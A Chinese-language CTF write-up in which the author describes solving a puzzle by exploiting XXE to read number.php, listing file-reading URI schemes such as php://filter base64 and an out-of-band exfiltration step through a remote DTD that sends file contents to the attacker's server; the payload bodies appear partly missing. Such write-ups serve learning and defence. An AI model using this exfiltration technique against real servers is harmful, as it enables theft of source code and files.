phithon大大某日出了一题,说能写出来的就请他吃饭!
这种好事,嘿嘿,怎么可能错过呢?
于是,我就拉着:“好队友”@Ring来一起解题。
题目的源码是这样的:
heiheihei
$(document).ready(function(){
$("#getw").click(function(){
var number = parseInt($("#num").val());
$.ajax({
"url": "number.php",
"type": "post",
"contentType": "application/xml",
"data": ""+number+"",
"dataType": "text",
"success": function(data) {
$("#result").text(data);
}
})
});
});
大意就是让我们用XXE漏洞来读取number.php的内容。
至于啥是XXE漏洞呢?详见XML External Entity attack/XXE攻击
总之,这就是一个很牛掰的漏洞吧?大概?
一开始,我是不会做XXE的,连听都没听说过。当然,至于怎么执行XXE代码我也是不懂的- -。。
经过多次的尝试和查阅资料之后,构造了下面这样的语句:
这里的test是我新建的一个实体,然后在下面的提交语句中提交,就可以回显出我们定义的值。
但是,这题只能回显数字,而不能回显字符。那么怎么能够得到number.php源码呢?
首先,我们可以知道,用以下的语句可以将本地文件读取:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
因为php文件包含
远程的1.dtd脚本如下:
%int;
%send;
至于其中的1.php,可有可无。如果要将其导出为文本,或者处理,就写个php文件接收吧。不然可以直接查询日志的。
参考资料:
XML External Entity attack/XXE攻击
XXE注入:攻击与防御 – XXE Injection: Attack and Prevent